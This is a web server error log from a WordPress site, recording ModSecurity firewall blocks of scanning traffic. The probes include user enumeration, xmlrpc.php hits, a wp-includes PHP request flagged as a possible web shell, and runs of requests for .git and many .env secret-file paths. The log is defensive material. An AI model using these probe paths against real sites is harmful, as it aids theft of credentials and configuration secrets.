[Fri Mar 27 02:51:08.304284 2026] [autoindex:error] [pid 62551:tid 62557] [client 164.68.111.175:62360] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri Mar 27 05:06:55.273473 2026] [:error] [pid 27750:tid 27822] [client 43.130.34.74:38302] [client 43.130.34.74] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acWf74aSil5rd17ieLwsvwAAAIQ"]
[Fri Mar 27 05:13:31.945152 2026] [:error] [pid 27750:tid 27824] [client 83.58.177.74:52401] [client 83.58.177.74] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "acWhe4aSil5rd17ieLwuUwAAAIY"]
[Fri Mar 27 05:14:36.523371 2026] [:error] [pid 27851:tid 27859] [client 83.58.177.74:65417] [client 83.58.177.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.58.177.74, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acWhvHR2ccxe3RMCLboE6AAAAME"]
[Fri Mar 27 05:15:28.852794 2026] [:error] [pid 27851:tid 27877] [client 83.58.177.74:56488] [client 83.58.177.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.58.177.74, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acWh8HR2ccxe3RMCLboE_wAAANM"]
[Fri Mar 27 05:16:31.608430 2026] [:error] [pid 63897:tid 63918] [client 83.58.177.74:59517] [client 83.58.177.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.58.177.74, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acWiL2VSkmYmLu7ycYjX0gAAARM"]
[Fri Mar 27 05:39:57.931584 2026] [:error] [pid 4293:tid 4314] [client 49.51.132.100:35386] [client 49.51.132.100] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acWnrZLjeJUC3OKtEx9MkwAAAVM"]
[Fri Mar 27 05:41:33.355482 2026] [:error] [pid 4341:tid 4355] [client 102.207.8.25:5963] [client 102.207.8.25] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "acWoDeKJWrNB5dMlEREB9gAAAYw"]
[Fri Mar 27 05:43:21.839668 2026] [:error] [pid 27851:tid 27860] [client 102.207.8.25:5956] [client 102.207.8.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.207.8.25, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acWoeXR2ccxe3RMCLboMGwAAAMI"]
[Fri Mar 27 05:44:57.253007 2026] [:error] [pid 27851:tid 27861] [client 102.207.8.25:5893] [client 102.207.8.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.207.8.25, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acWo2XR2ccxe3RMCLboMrQAAAMM"]
[Fri Mar 27 05:46:22.122482 2026] [:error] [pid 27851:tid 27881] [client 102.207.8.25:5957] [client 102.207.8.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.207.8.25, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acWpLnR2ccxe3RMCLboNSQAAANc"]
[Fri Mar 27 05:47:50.675395 2026] [autoindex:error] [pid 4341:tid 4356] [client 85.203.23.89:40771] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/php-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Mar 27 05:47:50.766840 2026] [:error] [pid 4341:tid 4364] [client 85.203.23.89:40771] [client 85.203.23.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/codemirror/config.php"] [unique_id "acWphuKJWrNB5dMlEREFRgAAAZU"]
[Fri Mar 27 05:56:23.133653 2026] [:error] [pid 27749:tid 27813] [client 119.96.24.54:43730] [client 119.96.24.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acWrh8EqyoMni2Q6_X5eJQAAAFY"]
[Fri Mar 27 10:28:43.293501 2026] [:error] [pid 27743:tid 27788] [client 43.130.15.147:49690] [client 43.130.15.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acXrWyA46UYYLqzw99AotAAAABg"]
[Fri Mar 27 11:01:26.382516 2026] [:error] [pid 27749:tid 27803] [client 43.159.132.207:41792] [client 43.159.132.207] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acXzBsEqyoMni2Q6_X6VcAAAAEw"]
[Fri Mar 27 11:46:20.734536 2026] [:error] [pid 63897:tid 63899] [client 49.37.112.12:61962] [client 49.37.112.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.112.12, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acX9jGVSkmYmLu7ycYiojQAAAQA"]
[Fri Mar 27 11:46:48.216276 2026] [:error] [pid 4341:tid 4365] [client 36.85.252.27:52814] [client 36.85.252.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.85.252.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acX9qOKJWrNB5dMlERGkzgAAAZY"]
[Fri Mar 27 11:49:02.312123 2026] [:error] [pid 63897:tid 63908] [client 49.37.112.12:50109] [client 49.37.112.12] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "acX-LmVSkmYmLu7ycYipqwAAAQk"]
[Fri Mar 27 11:50:22.354145 2026] [:error] [pid 4293:tid 4313] [client 49.37.112.12:51507] [client 49.37.112.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.112.12, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acX-fpLjeJUC3OKtEx9G8wAAAVI"]
[Fri Mar 27 11:50:38.919902 2026] [:error] [pid 27851:tid 27869] [client 36.85.252.27:56023] [client 36.85.252.27] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "acX-jnR2ccxe3RMCLbpyTQAAAMs"]
[Fri Mar 27 11:52:09.192478 2026] [:error] [pid 4293:tid 4303] [client 36.85.252.27:57001] [client 36.85.252.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.85.252.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acX-6ZLjeJUC3OKtEx9H6QAAAUg"]
[Fri Mar 27 12:41:41.322416 2026] [:error] [pid 4293:tid 4303] [client 43.138.68.113:42116] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acYKhZLjeJUC3OKtEx9qaQAAAUg"]
[Fri Mar 27 14:04:49.998983 2026] [:error] [pid 63897:tid 63920] [client 78.150.67.226:63723] [client 78.150.67.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.150.67.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acYeAWVSkmYmLu7ycYjZoQAAARU"]
[Fri Mar 27 14:34:35.943592 2026] [:error] [pid 4341:tid 4367] [client 147.135.213.38:40964] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "acYk--KJWrNB5dMlEREKLgAAAZg"]
[Fri Mar 27 14:34:40.254384 2026] [:error] [pid 63897:tid 63902] [client 147.135.213.38:39160] [client 147.135.213.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "acYlAGVSkmYmLu7ycYjlZwAAAQM"]
[Fri Mar 27 16:20:24.595467 2026] [:error] [pid 27743:tid 27787] [client 43.153.135.208:35592] [client 43.153.135.208] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acY9yCA46UYYLqzw99BxvgAAABc"]
[Fri Mar 27 16:41:35.320689 2026] [:error] [pid 27851:tid 27870] [client 172.70.248.65:12081] [client 172.70.248.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/HEAD"] [unique_id "acZCv3R2ccxe3RMCLbq_dgAAAMw"]
[Fri Mar 27 16:41:35.320778 2026] [:error] [pid 27750:tid 27820] [client 172.70.248.65:12076] [client 172.70.248.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/refs/heads/main"] [unique_id "acZCv4aSil5rd17ieLzHuQAAAII"]
[Fri Mar 27 16:41:35.365352 2026] [:error] [pid 27851:tid 27868] [client 172.70.248.65:12079] [client 172.70.248.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/refs/heads/master"] [unique_id "acZCv3R2ccxe3RMCLbq_dwAAAMo"]
[Fri Mar 27 16:41:35.373597 2026] [:error] [pid 27851:tid 27858] [client 172.70.248.64:12614] [client 172.70.248.64] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "acZCv3R2ccxe3RMCLbq_eAAAAMA"]
[Fri Mar 27 16:41:35.373949 2026] [:error] [pid 27851:tid 27862] [client 172.70.248.64:12616] [client 172.70.248.64] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/logs/HEAD"] [unique_id "acZCv3R2ccxe3RMCLbq_eQAAAMQ"]
[Fri Mar 27 16:41:35.375053 2026] [:error] [pid 27743:tid 27788] [client 172.70.248.64:12620] [client 172.70.248.64] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/index"] [unique_id "acZCvyA46UYYLqzw99B64gAAABg"]
[Fri Mar 27 16:41:36.372359 2026] [:error] [pid 27743:tid 27773] [client 172.70.248.65:12084] [client 172.70.248.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.local"] [unique_id "acZCwCA46UYYLqzw99B66AAAAAk"]
[Fri Mar 27 16:41:36.377157 2026] [:error] [pid 27750:tid 27831] [client 172.70.248.64:12628] [client 172.70.248.64] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "acZCwIaSil5rd17ieLzHuwAAAI0"]
[Fri Mar 27 16:41:36.443307 2026] [:error] [pid 27743:tid 27766] [client 172.70.248.64:12632] [client 172.70.248.64] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.development"] [unique_id "acZCwCA46UYYLqzw99B66QAAAAI"]
[Fri Mar 27 16:41:36.457685 2026] [:error] [pid 27743:tid 27783] [client 172.70.248.64:12633] [client 172.70.248.64] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.dev"] [unique_id "acZCwCA46UYYLqzw99B66gAAABM"]
[Fri Mar 27 16:41:36.467958 2026] [:error] [pid 27743:tid 27775] [client 172.70.248.65:12085] [client 172.70.248.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.production"] [unique_id "acZCwCA46UYYLqzw99B66wAAAAs"]
[Fri Mar 27 16:41:36.468027 2026] [:error] [pid 27750:tid 27839] [client 172.70.248.64:12634] [client 172.70.248.64] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.test"] [unique_id "acZCwIaSil5rd17ieLzHvAAAAJU"]
[Fri Mar 27 16:41:37.403790 2026] [:error] [pid 4341:tid 4349] [client 172.70.248.65:12091] [client 172.70.248.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.backup"] [unique_id "acZCweKJWrNB5dMlERFSPAAAAYY"]
[Fri Mar 27 16:41:37.468674 2026] [:error] [pid 27743:tid 27779] [client 172.70.248.64:12636] [client 172.70.248.64] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.staging"] [unique_id "acZCwSA46UYYLqzw99B68QAAAA8"]
[Fri Mar 27 16:41:37.481661 2026] [:error] [pid 27743:tid 27770] [client 172.70.248.65:12097] [client 172.70.248.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.bak"] [unique_id "acZCwSA46UYYLqzw99B68gAAAAY"]
[Fri Mar 27 16:41:37.537068 2026] [:error] [pid 27851:tid 27882] [client 172.70.248.64:12643] [client 172.70.248.64] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.old"] [unique_id "acZCwXR2ccxe3RMCLbq_fAAAANg"]
[Fri Mar 27 16:41:37.554643 2026] [:error] [pid 27743:tid 27768] [client 172.70.248.64:12648] [client 172.70.248.64] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.save"] [unique_id "acZCwSA46UYYLqzw99B69AAAAAQ"]
[Fri Mar 27 16:41:37.571301 2026] [:error] [pid 27743:tid 27787] [client 172.70.248.65:12099] [client 172.70.248.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.tmp"] [unique_id "acZCwSA46UYYLqzw99B69QAAABc"]
[Fri Mar 27 16:41:38.416419 2026] [:error] [pid 27743:tid 27783] [client 172.70.248.64:12651] [client 172.70.248.64] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.example"] [unique_id "acZCwiA46UYYLqzw99B6-AAAABM"]
[Fri Mar 27 16:41:38.544415 2026] [:error] [pid 27851:tid 27866] [client 172.70.248.64:12658] [client 172.70.248.64] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.production.local"] [unique_id "acZCwnR2ccxe3RMCLbq_fQAAAMg"]
[Fri Mar 27 16:41:38.558983 2026] [:error] [pid 63897:tid 63913] [client 172.70.248.64:12664] [client 172.70.248.64] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.development.local"] [unique_id "acZCwmVSkmYmLu7ycYgS-QAAAQ4"]
[Fri Mar 27 16:41:38.582405 2026] [:error] [pid 27851:tid 27873] [client 172.70.248.64:12671] [client 172.70.248.64] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/config/.env"] [unique_id "acZCwnR2ccxe3RMCLbq_fgAAAM8"]
[Fri Mar 27 16:41:38.598510 2026] [:error] [pid 63897:tid 63918] [client 172.70.248.65:12100] [client 172.70.248.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/app/.env"] [unique_id "acZCwmVSkmYmLu7ycYgS-gAAARM"]
[Fri Mar 27 16:41:38.682135 2026] [:error] [pid 27851:tid 27869] [client 172.70.248.65:12102] [client 172.70.248.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/backend/.env"] [unique_id "acZCwnR2ccxe3RMCLbq_fwAAAMs"]
[Fri Mar 27 16:41:39.419933 2026] [:error] [pid 27749:tid 27797] [client 172.70.248.64:12672] [client 172.70.248.64] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/api/.env"] [unique_id "acZCw8EqyoMni2Q6_X7RqAAAAEY"]
[Fri Mar 27 16:41:39.598055 2026] [:error] [pid 27851:tid 27879] [client 172.70.248.65:12115] [client 172.70.248.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/public/.env"] [unique_id "acZCw3R2ccxe3RMCLbq_gQAAANU"]
